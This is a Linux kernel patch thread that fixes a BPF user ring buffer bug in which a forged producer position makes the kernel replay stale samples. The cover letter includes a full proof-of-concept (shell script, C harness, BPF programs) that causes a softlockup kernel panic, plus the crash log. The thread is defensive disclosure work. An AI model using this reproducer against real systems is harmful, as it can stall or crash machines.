Skip to contentSkip to conversation

bpf: Reject user ringbuf backlogs larger than total ring size

PATCH In review Ren Wei 3 participants 6 messages Nov 9

Subsystems (4)
lore
Share & tools
lore

Ren Wei

author
#0 lore raw

cover bpf: Reject user ringbuf backlogs larger than total ring size

From: Luxiao Xu <[email protected]>

Hi Linux kernel maintainers,

We found and validated an issue in kernel/bpf/ringbuf.c affecting the user-space ring buffer implementation (BPF_MAP_TYPE_USER_RINGBUF).

This bug is tracked at: https://bugtracker.nebusec.ai/f/15643

Privilege requirements & reachability:
In our validation environment, unprivileged BPF is disabled at runtime (kernel.unprivileged_bpf_disabled = 2). Consequently, loading the BPF tracing program (SEC("fentry/__x64_sys_getpgid")) and creating the BPF_MAP_TYPE_USER_RINGBUF map requires root (UID 0) / CAP_BPF + CAP_PERFMON. Furthermore, configuring the watchdog threshold and panic sysctls (/proc/sys/kernel/watchdog_thresh and softlockup_panic) to accelerate watchdog detection in the test harness requires root (UID 0 / CAP_SYS_ADMIN). The reproducer and crash log therefore run under UID 0.

While the underlying logic bug allows any process with write access to an existing user ringbuffer's producer position page to forge an oversized backlog, the end-to-end reproducer operates in a privileged context (UID 0) in this test setup.

Impact boundary:
Because user space has write access to the producer position page of a user ring buffer, user space can forge an unread window (prod_pos - cons_pos) that spans many laps ahead of the physical ring buffer. When bpf_user_ringbuf_drain() runs, it repeatedly wraps around the physical buffer and drains old or stale samples without fresh writes. With a compute-heavy callback, this leads to CPU starvation and watchdog softlockup panics.

This patch series resolves the issue in two commits:
- Patch 1/2 validates in __bpf_user_ringbuf_peek() that the advertised backlog (prod_pos - cons_pos) does not exceed ringbuf_total_data_sz(rb), returning -EINVAL if the backlog spans beyond the physical buffer.
- Patch 2/2 adds a dedicated selftest case in tools/testing/selftests/bpf to assert that an unread backlog larger than the ring size returns -EINVAL and drains 0 samples.

=== details below ===

Bug details:

In __bpf_user_ringbuf_peek(), the kernel only checks that individual sample length does not exceed the advertised unread window (prod_pos - cons_pos) and does not exceed the total data capacity (ringbuf_total_data_sz(rb)):

    total_len = round_up(sample_len + BPF_RINGBUF_HDR_SZ, 8);
    if (total_len > prod_pos - cons_pos)
        return -EINVAL;
    if (total_len > ringbuf_total_data_sz(rb))
        return -E2BIG;

However, the kernel does not check the invariant that the entire unread window (prod_pos - cons_pos) must not exceed the physical buffer size:
prod_pos - cons_pos <= ringbuf_total_data_sz(rb).

Since the producer page is mapped writable to user space, a malicious producer can advance producer_pos across multiple logical laps while populating only one physical lap. When the kernel drains the buffer via bpf_user_ringbuf_drain(), cons_pos wraps around repeatedly within the forged window and re-executes callbacks on stale or already-consumed samples up to 131,072 times per drain call.

We fix this by checking prod_pos - cons_pos > ringbuf_total_data_sz(rb) in __bpf_user_ringbuf_peek() and returning -EINVAL immediately when an oversized backlog is detected.

Testing & Validation:
We validated both the bug reproduction and the fix in an x86 QEMU guest (4 vCPUs, 4GB RAM) with CONFIG_DEBUG_INFO_BTF=y launched with:

    qemu-system-x86_64 -m 4G -smp 4 -machine accel=kvm \
        -cpu Haswell-v4,pmu=off,-vmx,-smep,-smap \
        -kernel arch/x86/boot/bzImage \
        -append "root=/dev/sda rw console=ttyS0 oops=panic" \
        -drive file=rootfs.qcow2,format=qcow2 -nographic

1. Pre-fix verification:
Running ./poc.sh replay demonstrates repeated replays of stale samples:
- Initial state: consumer_pos=0 producer_pos=4194304 (1024 laps)
- First drain: callbacks=131072 wraps=511 ret=131072

     consumer_pos=2097152
   - Second drain: callbacks=262144 wraps=1023 ret=131072
     consumer_pos=4194304

Running ./poc.sh panic with a heavy callback triggers a watchdog softlockup panic (see crash log below).

2. Post-fix verification:
- Running ./poc.sh replay immediately returns ret=-22 (-EINVAL):

     callbacks=0 wraps=0 ret=-22 consumer_pos=0

- Running ./poc.sh panic returns ret=-22 with zero callbacks and does not crash or stall.
- Normal operation check with a single lap of backlog (./poc.sh normal, i.e. ./poc 1) drains 256 valid samples normally (callbacks=256 wraps=0 ret=256), confirming zero regression.

3. Selftest verification:
The added test case test_user_ringbuf_post_backlog_larger_than_ringbuf_sz in tools/testing/selftests/bpf/prog_tests/user_ringbuf.c writes a valid sample header, advances producer_pos past consumer_pos by 2 * ring_size, and verifies that bpf_user_ringbuf_drain() returns -EINVAL and drains 0 samples.

Reproducer:
Build the BPF objects and userspace harness inside the QEMU guest:
clang -O2 -g -target bpf -D__TARGET_ARCH_x86 -c poc.bpf.c \
-o poc_replay.bpf.o
clang -O2 -g -target bpf -D__TARGET_ARCH_x86 -c poc_softlockup.bpf.c \
-o poc_softlockup.bpf.o
gcc -static -O2 poc.c -o poc -lbpf -lelf -lz -lzstd
chmod +x poc.sh

Execute verification:

    ./poc.sh replay    # Replay demonstration (1024 laps backlog)
    ./poc.sh panic     # Watchdog softlockup panic
    ./poc.sh normal    # Normal operation verification (1 lap backlog)

=== BEGIN poc.sh ===
#!/bin/sh
set -eu

mode="${1:-replay}"

if [ "$mode" = "panic" ]; then
cp poc_softlockup.bpf.o poc.bpf.o echo 1 > /proc/sys/kernel/watchdog_thresh echo 1 > /proc/sys/kernel/softlockup_panic ./poc 1024
elif [ "$mode" = "normal" ]; then

	cp poc_replay.bpf.o poc.bpf.o
	./poc 1
else
	cp poc_replay.bpf.o poc.bpf.o
	./poc 1024

fi
=== END poc.sh ===

=== BEGIN poc.c ===
// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <errno.h>
#include <linux/bpf.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <unistd.h>

#define OBJ_FILE "poc.bpf.o"
#define RING_SIZE 4096
#define PAGE_SZ 4096
#define SAMPLE_PAYLOAD_SIZE 8
#define TOTAL_SAMPLE_SIZE (SAMPLE_PAYLOAD_SIZE + BPF_RINGBUF_HDR_SZ) #define SAMPLES_PER_LAP (RING_SIZE / TOTAL_SAMPLE_SIZE) #define DEFAULT_BACKLOG_LAPS 1024
#define MAGIC 0x52504c59u

struct replay_sample {
	uint32_t seq;
	uint32_t magic;
};
struct stats {
	uint64_t invocations;
	uint64_t callbacks;
	uint64_t wraps;
	uint64_t last_seq;
	uint64_t last_magic;
	int64_t last_drain_ret;
};

static int libbpf_log_fn(enum libbpf_print_level level, const char *fmt, va_list args)

{
	if (level == LIBBPF_DEBUG)
		return 0;
	return vfprintf(stderr, fmt, args);
}

static void smp_store_release_u64(uint64_t *ptr, uint64_t value)

{
	__atomic_store_n(ptr, value, __ATOMIC_RELEASE);
}

static int bump_memlock(void)

{
	struct rlimit lim = {
		.rlim_cur = RLIM_INFINITY,
		.rlim_max = RLIM_INFINITY,
	};

	return setrlimit(RLIMIT_MEMLOCK, &lim);
}

static void fill_ring(void *data)

{
	size_t i;

	memset(data, 0, RING_SIZE);
	for (i = 0; i < SAMPLES_PER_LAP; i++) {
		uint8_t *slot = (uint8_t *)data + i * TOTAL_SAMPLE_SIZE;
		uint32_t *hdr_len = (uint32_t *)slot;
		struct replay_sample *sample = (struct replay_sample *)(slot + BPF_RINGBUF_HDR_SZ);

		*hdr_len = SAMPLE_PAYLOAD_SIZE;
		sample->seq = i;
		sample->magic = MAGIC;
	}
}

static int lookup_stats(int map_fd, struct stats *stats)

{
	uint32_t key = 0;

	return bpf_map_lookup_elem(map_fd, &key, stats);
}

int main(int argc, char **argv)

{
	uint32_t backlog_laps = DEFAULT_BACKLOG_LAPS;
	struct bpf_object *obj = NULL;
	struct bpf_program *prog;
	struct bpf_link *link = NULL;
	struct bpf_map *urb_map, *stats_map;
	struct stats stats = {};
	uint64_t *consumer_pos = MAP_FAILED, *producer_pos = MAP_FAILED;
	void *data = MAP_FAILED;
	int urb_fd, stats_fd;
	int err = 1;
	long ret;

	libbpf_set_print(libbpf_log_fn);
	libbpf_set_strict_mode(LIBBPF_STRICT_ALL);

	if (bump_memlock() && errno != EPERM)
		perror("setrlimit(RLIMIT_MEMLOCK)");

	obj = bpf_object__open_file(OBJ_FILE, NULL);
	if (!obj) {
		fprintf(stderr, "failed to open %s\n", OBJ_FILE);
		goto out;
	}

	err = bpf_object__load(obj);
	if (err) {
		fprintf(stderr, "failed to load BPF object: %d\n", err);
		goto out;
	}

	prog = bpf_object__find_program_by_name(obj, "drain_user_ringbuf");
	if (!prog) {
		fprintf(stderr, "failed to find drain_user_ringbuf\n");
		goto out;
	}

	link = bpf_program__attach(prog);
	if (!link) {
		err = -errno;
		fprintf(stderr, "failed to attach fentry program: %d\n", err);
		goto out;
	}

	urb_map = bpf_object__find_map_by_name(obj, "user_ringbuf");
	stats_map = bpf_object__find_map_by_name(obj, "stats_map");
	if (!urb_map || !stats_map) {
		fprintf(stderr, "failed to find maps\n");
		goto out;
	}

	urb_fd = bpf_map__fd(urb_map);
	stats_fd = bpf_map__fd(stats_map);

	consumer_pos = mmap(NULL, PAGE_SZ, PROT_READ, MAP_SHARED, urb_fd, 0);
	producer_pos = mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE, MAP_SHARED, urb_fd, PAGE_SZ);
	data = mmap(NULL, RING_SIZE * 2, PROT_READ | PROT_WRITE, MAP_SHARED, urb_fd, PAGE_SZ * 2);
	if (consumer_pos == MAP_FAILED || producer_pos == MAP_FAILED || data == MAP_FAILED) {
		perror("mmap");
		goto out;
	}

	if (argc > 1) {
		int val = atoi(argv[1]);
		if (val > 0)
			backlog_laps = (uint32_t)val;
	}

	fill_ring(data);
	smp_store_release_u64(producer_pos, (uint64_t)RING_SIZE * backlog_laps);

	printf("prepared one physical lap with %u samples and advertised %u laps of backlog\n",
	       SAMPLES_PER_LAP, backlog_laps);
	printf("initial consumer_pos=%llu producer_pos=%llu\n",
	       (unsigned long long)__atomic_load_n(consumer_pos, __ATOMIC_ACQUIRE),
	       (unsigned long long)__atomic_load_n(producer_pos, __ATOMIC_ACQUIRE));

	ret = syscall(SYS_getpgid, 0);
	if (ret < 0) {
		perror("getpgid");
		goto out;
	}

	if (lookup_stats(stats_fd, &stats)) {
		perror("bpf_map_lookup_elem(stats)");
		goto out;
	}

	printf("after first drain: invocations=%llu callbacks=%llu wraps=%llu last_seq=%llu last_magic=0x%llx ret=%lld consumer_pos=%llu\n",
	       (unsigned long long)stats.invocations,
	       (unsigned long long)stats.callbacks,
	       (unsigned long long)stats.wraps,
	       (unsigned long long)stats.last_seq,
	       (unsigned long long)stats.last_magic,
	       (long long)stats.last_drain_ret,
	       (unsigned long long)__atomic_load_n(consumer_pos, __ATOMIC_ACQUIRE));

	ret = syscall(SYS_getpgid, 0);
	if (ret < 0) {
		perror("getpgid");
		goto out;
	}

	if (lookup_stats(stats_fd, &stats)) {
		perror("bpf_map_lookup_elem(stats, second)");
		goto out;
	}

	printf("after second drain: invocations=%llu callbacks=%llu wraps=%llu last_seq=%llu last_magic=0x%llx ret=%lld consumer_pos=%llu\n",
	       (unsigned long long)stats.invocations,
	       (unsigned long long)stats.callbacks,
	       (unsigned long long)stats.wraps,
	       (unsigned long long)stats.last_seq,
	       (unsigned long long)stats.last_magic,
	       (long long)stats.last_drain_ret,
	       (unsigned long long)__atomic_load_n(consumer_pos, __ATOMIC_ACQUIRE));

	if (stats.last_magic != MAGIC) {
		fprintf(stderr, "unexpected sample contents\n");
		goto out;
	}

	if (backlog_laps <= 1) {
		if (stats.callbacks == SAMPLES_PER_LAP && stats.wraps == 0) {
			printf("normal operation verified: drained %u samples without replay or wrap\n",
			       SAMPLES_PER_LAP);
			err = 0;
		} else {
			fprintf(stderr, "unexpected normal drain result: callbacks=%llu wraps=%llu\n",
			        (unsigned long long)stats.callbacks,
			        (unsigned long long)stats.wraps);
		}
		goto out;
	}

	if (stats.callbacks <= SAMPLES_PER_LAP || stats.wraps == 0) {
		fprintf(stderr, "replay was not observed\n");
		goto out;
	}

	printf("replay observed: the kernel consumed more than one lap of samples without new producer writes\n");
	err = 0;

out:

	if (data != MAP_FAILED)
		munmap(data, RING_SIZE * 2);
	if (producer_pos != MAP_FAILED)
		munmap(producer_pos, PAGE_SZ);
	if (consumer_pos != MAP_FAILED)
		munmap(consumer_pos, PAGE_SZ);
	if (link)
		bpf_link__destroy(link);
	if (obj)
		bpf_object__close(obj);
	return err;
}

=== END poc.c ===

=== BEGIN poc.bpf.c ===
// SPDX-License-Identifier: GPL-2.0
#define __u8 unsigned char
#define __u16 unsigned short
#define __u32 unsigned int
#define __u64 unsigned long long
#define __s32 int
#define __s64 long long
#define __be16 __u16
#define __be32 __u32
#define __wsum __u32

#include <bpf/bpf_helpers.h>

#define BPF_MAP_TYPE_ARRAY 2
#define BPF_MAP_TYPE_USER_RINGBUF 31
#define RING_SIZE 4096
#define BPF_RINGBUF_HDR_SZ 8
#define SAMPLE_PAYLOAD_SIZE 8
#define SAMPLES_PER_LAP (RING_SIZE / (SAMPLE_PAYLOAD_SIZE + BPF_RINGBUF_HDR_SZ)) #define MAGIC 0x52504c59

struct replay_sample {
	__u32 seq;
	__u32 magic;
};
struct stats {
	__u64 invocations;
	__u64 callbacks;
	__u64 wraps;
	__u64 last_seq;
	__u64 last_magic;
	__s64 last_drain_ret;
};
struct {
	__uint(type, BPF_MAP_TYPE_USER_RINGBUF);
	__uint(max_entries, RING_SIZE);
} user_ringbuf SEC(".maps");
struct {
	__uint(type, BPF_MAP_TYPE_ARRAY);
	__uint(max_entries, 1);
	__type(key, __u32);
	__type(value, struct stats);
} stats_map SEC(".maps");

static __always_inline struct stats *get_stats(void)

{
	__u32 key = 0;

	return bpf_map_lookup_elem(&stats_map, &key);
}

static long drain_cb(struct bpf_dynptr *dynptr, void *ctx)

{
	struct replay_sample sample = {};
	struct stats *stats;

	stats = get_stats();
	if (!stats)
		return 1;

	if (bpf_dynptr_read(&sample, sizeof(sample), dynptr, 0, 0))
		return 1;

	stats->callbacks++;
	if (stats->callbacks > 1 && sample.seq < stats->last_seq)
		stats->wraps++;

	stats->last_seq = sample.seq;
	stats->last_magic = sample.magic;
	return 0;
}

SEC("fentry/__x64_sys_getpgid")
int drain_user_ringbuf(void *ctx)

{
	struct stats *stats;

	stats = get_stats();
	if (!stats)
		return 0;

	stats->invocations++;
	stats->last_drain_ret = bpf_user_ringbuf_drain(&user_ringbuf, drain_cb, NULL, 0);
	return 0;
}

char LICENSE[] SEC("license") = "GPL";
=== END poc.bpf.c ===

=== BEGIN poc_softlockup.bpf.c ===
// SPDX-License-Identifier: GPL-2.0
#define __u8 unsigned char
#define __u16 unsigned short
#define __u32 unsigned int
#define __u64 unsigned long long
#define __s32 int
#define __s64 long long
#define __be16 __u16
#define __be32 __u32
#define __wsum __u32

#include <bpf/bpf_helpers.h>

#define BPF_MAP_TYPE_ARRAY 2
#define BPF_MAP_TYPE_USER_RINGBUF 31
#define RING_SIZE 4096
#define BPF_RINGBUF_HDR_SZ 8
#define SAMPLE_PAYLOAD_SIZE 8
#define SAMPLES_PER_LAP (RING_SIZE / (SAMPLE_PAYLOAD_SIZE + BPF_RINGBUF_HDR_SZ)) #define MAGIC 0x52504c59

struct replay_sample {
	__u32 seq;
	__u32 magic;
};
struct stats {
	__u64 invocations;
	__u64 callbacks;
	__u64 wraps;
	__u64 last_seq;
	__u64 last_magic;
	__s64 last_drain_ret;
};
struct {
	__uint(type, BPF_MAP_TYPE_USER_RINGBUF);
	__uint(max_entries, RING_SIZE);
} user_ringbuf SEC(".maps");
struct {
	__uint(type, BPF_MAP_TYPE_ARRAY);
	__uint(max_entries, 1);
	__type(key, __u32);
	__type(value, struct stats);
} stats_map SEC(".maps");

static __always_inline struct stats *get_stats(void)

{
	__u32 key = 0;

	return bpf_map_lookup_elem(&stats_map, &key);
}

static long drain_cb(struct bpf_dynptr *dynptr, void *ctx)

{
	struct replay_sample sample = {};
	struct stats *stats;

	stats = get_stats();
	if (!stats)
		return 1;

	if (bpf_dynptr_read(&sample, sizeof(sample), dynptr, 0, 0))
		return 1;

	stats->callbacks++;
	if (stats->callbacks > 1 && sample.seq < stats->last_seq)
		stats->wraps++;

#pragma clang loop unroll(disable)

	for (int i = 0; i < 200000; i++)
		asm volatile("" : : : "memory");

	stats->last_seq = sample.seq;
	stats->last_magic = sample.magic;
	return 0;
}

SEC("fentry/__x64_sys_getpgid")
int drain_user_ringbuf(void *ctx)

{
	struct stats *stats;

	stats = get_stats();
	if (!stats)
		return 0;

	stats->invocations++;
	stats->last_drain_ret = bpf_user_ringbuf_drain(&user_ringbuf, drain_cb, NULL, 0);
	return 0;
}

char LICENSE[] SEC("license") = "GPL";
=== END poc_softlockup.bpf.c ===

=== BEGIN crash log ===

[  494.301649][    C2] watchdog: BUG: soft lockup - CPU#2 stuck for 3s! [poc:964]
[  494.301665][    C2] Modules linked in:
[  494.301687][    C2] CPU: 2 UID: 0 PID: 964 Comm: poc Not tainted 6.12.95 #4 53deed68f5e8c87eac9412ec2ca16e6c37d9fe62
[  494.301697][    C2] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  494.301700][    C2] RIP: 0010:bpf_prog_56ce035abe37ff65_drain_cb+0xa0/0xdf
[  494.301727][    C2] Code: f2 31 c9 45 31 c0 e8 73 30 a5 c1 48 85 c0 75 31 48 8b 7b 08 48 83 c7 01 48 89 7b 08 48 83 ff 01 77 2d bf 40 0d 03 00 83 c7 ff <85> ff 74 02 eb f7 8b 7d f0 48 89 7b 18 8b 7d f4 48 89 7b 20 45 31
[  494.301730][    C2] RSP: 0018:ffffc90002d77d60 EFLAGS: 00000217
[  494.301744][    C2] RAX: 0000000000000000 RBX: ffff8881134365f8 RCX: 0000000000000000
[  494.301746][    C2] RDX: 0000000000000008 RSI: 0000000000000070 RDI: 0000000000000bbb
[  494.301749][    C2] RBP: ffffc90002d77d88 R08: ffffc90001474720 R09: fffff520005aefaf
[  494.301751][    C2] R10: ffffc90002d77d7f R11: 00000000003a68f0 R12: 0000000000000008
[  494.301753][    C2] R13: 0000000000000001 R14: ffffc90002d77e50 R15: ffffc90001471000
[  494.301757][    C2] FS:  00007d496e51a740(0000) GS:ffff88811a200000(0000) knlGS:0000000000000000
[  494.301760][    C2] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  494.301763][    C2] CR2: 00007d496e793626 CR3: 0000000117828005 CR4: 0000000000770ef0
[  494.301767][    C2] PKRU: 55555554
[  494.301769][    C2] Call Trace:
[  494.301772][    C2]  <TASK>
[  494.301782][    C2]  bpf_user_ringbuf_drain+0x2c7/0x570
[  494.301819][    C2]  ? 0xffffffffc000dd9c
[  494.301837][    C2]  ? __pfx_bpf_user_ringbuf_drain+0x10/0x10
[  494.301845][    C2]  ? srso_alias_return_thunk+0x5/0xfbef5
[  494.301898][    C2]  bpf_prog_8c9b0c57f27a57ab_drain_user_ringbuf+0x7b/0x88
[  494.301906][    C2]  bpf_trampoline_6442594278+0x43/0xa7
[  494.301915][    C2]  __x64_sys_getpgid+0x9/0x40
[  494.301921][    C2]  do_syscall_64+0x6f/0x150
[  494.301940][    C2]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  494.301947][    C2] RIP: 0033:0x7d496e6f77b9
[  494.301953][    C2] Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 27 66 0d 00 f7 d8 64 89 01 48
[  494.301956][    C2] RSP: 002b:00007ffc8d764cf8 EFLAGS: 00000246 ORIG_RAX: 0000000000000079
[  494.301959][    C2] RAX: ffffffffffffffda RBX: 0000574d6cdc22a0 RCX: 00007d496e6f77b9
[  494.301961][    C2] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000
[  494.301963][    C2] RBP: 0000000000000000 R08: 00000000fffffff9 R09: 0000000000000040
[  494.301965][    C2] R10: 0000000000000075 R11: 0000000000000246 R12: 00007d496e82b000
[  494.301967][    C2] R13: 00007d496e82d000 R14: 00007ffc8d764d20 R15: 00007d496e82e000
[  494.301989][    C2]  </TASK>
[  494.301995][    C2] Kernel panic - not syncing: softlockup: hung tasks
[  494.319721][    C2] CPU: 2 UID: 0 PID: 964 Comm: poc Tainted: G             L     6.12.95 #4 53deed68f5e8c87eac9412ec2ca16e6c37d9fe62
[  494.320502][    C2] Tainted: [L]=SOFTLOCKUP
[  494.320792][    C2] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  494.321595][    C2] Call Trace:
[  494.321818][    C2]  <IRQ>
[  494.322011][    C2]  panic+0x544/0x620
[  494.322285][    C2]  ? __pfx_panic+0x10/0x10
[  494.322595][    C2]  ? add_taint+0x2a/0x90
[  494.322873][    C2]  watchdog_timer_fn+0x31d/0x3b0
[  494.323217][    C2]  ? __pfx_watchdog_timer_fn+0x10/0x10
[  494.323571][    C2]  __hrtimer_run_queues+0x4bf/0x8c0
[  494.323939][    C2]  ? __pfx___hrtimer_run_queues+0x10/0x10
[  494.324321][    C2]  ? srso_alias_return_thunk+0x5/0xfbef5
[  494.324693][    C2]  ? ktime_get_update_offsets_now+0x90/0x2d0
[  494.325117][    C2]  hrtimer_interrupt+0x2cd/0x7e0
[  494.325503][    C2]  ? do_raw_spin_unlock+0x14a/0x1f0
[  494.325920][    C2]  __sysvec_apic_timer_interrupt+0xec/0x380
[  494.326389][    C2]  sysvec_apic_timer_interrupt+0x6c/0x90
[  494.326816][    C2]  </IRQ>
[  494.327035][    C2]  <TASK>
[  494.327287][    C2]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  494.327754][    C2] RIP: 0010:bpf_prog_56ce035abe37ff65_drain_cb+0xa0/0xdf
[  494.328314][    C2] Code: f2 31 c9 45 31 c0 e8 73 30 a5 c1 48 85 c0 75 31 48 8b 7b 08 48 83 c7 01 48 89 7b 08 48 83 ff 01 77 2d bf 40 0d 03 00 83 c7 ff <85> ff 74 02 eb f7 8b 7d f0 48 89 7b 18 8b 7d f4 48 89 7b 20 45 31
[  494.329817][    C2] RSP: 0018:ffffc90002d77d60 EFLAGS: 00000217
[  494.330295][    C2] RAX: 0000000000000000 RBX: ffff8881134365f8 RCX: 0000000000000000
[  494.330853][    C2] RDX: 0000000000000008 RSI: 0000000000000070 RDI: 0000000000000bbb
[  494.331422][    C2] RBP: ffffc90002d77d88 R08: ffffc90001474720 R09: fffff520005aefaf
[  494.332019][    C2] R10: ffffc90002d77d7f R11: 00000000003a68f0 R12: 0000000000000008
[  494.332645][    C2] R13: 0000000000000001 R14: ffffc90002d77e50 R15: ffffc90001471000
[  494.333291][    C2]  bpf_user_ringbuf_drain+0x2c7/0x570
[  494.333721][    C2]  ? 0xffffffffc000dd9c
[  494.334075][    C2]  ? __pfx_bpf_user_ringbuf_drain+0x10/0x10
[  494.334546][    C2]  ? srso_alias_return_thunk+0x5/0xfbef5
[  494.335001][    C2]  bpf_prog_8c9b0c57f27a57ab_drain_user_ringbuf+0x7b/0x88
[  494.335560][    C2]  bpf_trampoline_6442594278+0x43/0xa7
[  494.335961][    C2]  __x64_sys_getpgid+0x9/0x40
[  494.336276][    C2]  do_syscall_64+0x6f/0x150
[  494.336600][    C2]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  494.337075][    C2] RIP: 0033:0x7d496e6f77b9
[  494.337425][    C2] Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 27 66 0d 00 f7 d8 64 89 01 48
[  494.338780][    C2] RSP: 002b:00007ffc8d764cf8 EFLAGS: 00000246 ORIG_RAX: 0000000000000079
[  494.339444][    C2] RAX: ffffffffffffffda RBX: 0000574d6cdc22a0 RCX: 00007d496e6f77b9
[  494.340069][    C2] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000
[  494.340684][    C2] RBP: 0000000000000000 R08: 00000000fffffff9 R09: 0000000000000040
[  494.341235][    C2] R10: 0000000000000075 R11: 0000000000000246 R12: 00007d496e82b000
[  494.341784][    C2] R13: 00007d496e82d000 R14: 00007ffc8d764d20 R15: 00007d496e82e000
[  494.342379][    C2]  </TASK>
[  494.342809][    C2] Kernel Offset: disabled
[  494.343160][    C2] Rebooting in 10 seconds..

=== END crash log ===

Best regards,
Luxiao Xu

Luxiao Xu (2):
bpf: Reject user ringbuf backlogs larger than total ring size selftests/bpf: Test user ringbuf backlog larger than ring size

 kernel/bpf/ringbuf.c                            |  3 +++
 .../selftests/bpf/prog_tests/user_ringbuf.c     | 17 +++++++++++++++++
 2 files changed, 20 insertions(+)
Signature · 1 line
2.43.0
author
#1 lore raw

PATCH 1/2 bpf: Reject user ringbuf backlogs larger than total ring size

From: Luxiao Xu <[email protected]>

In __bpf_user_ringbuf_peek(), the kernel ensures that a sample length does not exceed the advertised unread window (prod_pos - cons_pos) and does not exceed the total data capacity of the ring buffer (ringbuf_total_data_sz(rb)).

However, the kernel does not verify that the entire advertised unread window (prod_pos - cons_pos) fits within the ring buffer capacity. Because the producer position page is mapped writable to user space, a malicious or buggy user-space producer can advance producer_pos arbitrarily far ahead of consumer_pos while populating only one physical lap of data.

When bpf_user_ringbuf_drain() drains the ring buffer, cons_pos wraps around the physical buffer repeatedly within the oversized unread window, replaying stale or already-consumed samples without new writes from user space. In the worst case, this leads to excessive CPU consumption and watchdog softlockups.

Validate that prod_pos - cons_pos <= ringbuf_total_data_sz(rb) before attempting to peek samples. If the advertised backlog exceeds the ring size, return -EINVAL immediately.

Fixes 205715673844 ("bpf: Add bpf_user_ringbuf_drain() helper")
---
 kernel/bpf/ringbuf.c | 3 +++
 1 file changed, 3 insertions(+)
kernel/bpf/ringbuf.c +3 -0
index 447863ece26a..cfd4fe4e85ee 100644
@@ -761,6 +761,9 @@ static int __bpf_user_ringbuf_peek(struct bpf_ringbuf *rb, void **sample, u32 *s
 	if (cons_pos >= prod_pos)
 		return -ENODATA;
 
+	if (prod_pos - cons_pos > ringbuf_total_data_sz(rb))
+		return -EINVAL;
+
 	hdr = (u32 *)((uintptr_t)rb->data + (uintptr_t)(cons_pos & rb->mask));
 	/* Synchronizes with smp_store_release() in user-space producer. */
 	hdr_len = smp_load_acquire(hdr);
Signature · 1 line
2.43.0
#2 lore raw
Thank you for your contribution! Sashiko AI review found 1 potential issue to consider: - [Medium] bpf: early backlog check in __bpf_user_ringbuf_peek() breaks -E2BIG return It also noticed 1…

Thank you for your contribution! Sashiko AI review found 1 potential issue to consider:
- [Medium] bpf: early backlog check in __bpf_user_ringbuf_peek() breaks -E2BIG return
It also noticed 1 related pre-existing issue this patch does not introduce:
- [High] bpf: compat mode ring buffer hang in __bpf_user_ringbuf_peek()
[1]
--

commit c14bce3c5f895ee2ea691c51e1942bac34af6108
Author: Luxiao Xu <[email protected]>

bpf: Reject user ringbuf backlogs larger than total ring size

This commit rejects user ring buffer drain operations with -EINVAL when the unread window between producer_pos and consumer_pos exceeds the total data size of the ring buffer.

kernel/bpf/ringbuf.c static int __bpf_user_ringbuf_peek(struct bpf_ringbuf *rb, void **sample, u32 *s · line 762

Quoted 7 lines
kernel/bpf/ringbuf.c +0 -0
index 447863ece26a3..cfd4fe4e85ee6 100644
@@ -761,6 +761,9 @@ static int __bpf_user_ringbuf_peek(struct bpf_ringbuf *rb, void **sample, u32 *s
 	if (cons_pos >= prod_pos)
 		return -ENODATA;

[Severity: High]
This problem wasn't introduced by this patch, but can cons_pos >= prod_pos permanently stall sample processing for a 32-bit compat user-space producer on a 64-bit kernel [1]?

A 32-bit compat application updates rb->producer_pos with a 32-bit store that wraps to zero at 4 GB, while the 64-bit kernel increments rb->consumer_pos past 4 GB using 64-bit arithmetic. Once producer_pos wraps, cons_pos >= prod_pos evaluates to true and __bpf_user_ringbuf_peek() returns -ENODATA on every subsequent drain.

kernel/bpf/ringbuf.c static int __bpf_user_ringbuf_peek(struct bpf_ringbuf *rb, void **sample, u32 *s · line 765

Quoted 3 lines
kernel/bpf/ringbuf.c +2 -0
+	if (prod_pos - cons_pos > ringbuf_total_data_sz(rb))
+		return -EINVAL;

[Severity: Medium]
Does checking prod_pos - cons_pos > ringbuf_total_data_sz(rb) here break the -E2BIG return for a single oversized sample?

Later in __bpf_user_ringbuf_peek(), total_len is checked against both prod_pos - cons_pos and ringbuf_total_data_sz(rb):

kernel/bpf/ringbuf.c:__bpf_user_ringbuf_peek() {
	...
	/* The sample must fit within the region advertised by the producer position. */
	if (total_len > prod_pos - cons_pos)
		return -EINVAL;

	/* The sample must fit within the data region of the ring buffer. */
	if (total_len > ringbuf_total_data_sz(rb))
		return -E2BIG;
	...
}

Because prod_pos - cons_pos <= ringbuf_total_data_sz(rb) and total_len <= prod_pos - cons_pos are already enforced before reaching total_len > ringbuf_total_data_sz(rb), the -E2BIG branch becomes unreachable. When user space publishes a single sample larger than the ring buffer (setting producer_pos to at least ringbuf_total_data_sz(rb) + BPF_RINGBUF_HDR_SZ), bpf_user_ringbuf_drain() now returns -EINVAL instead of the -E2BIG documented in include/uapi/linux/bpf.h and expected by test_user_ringbuf_post_larger_than_ringbuf_sz() in tools/testing/selftests/bpf/prog_tests/user_ringbuf.c.

[1] https://sashiko.dev/#/bug/linux-262d24f9-bac4-4511-aaed-6698163eb6f5

Signature · 1 line
Sashiko AI review · https://sashiko.dev/#/patchset/[email protected]?part=1
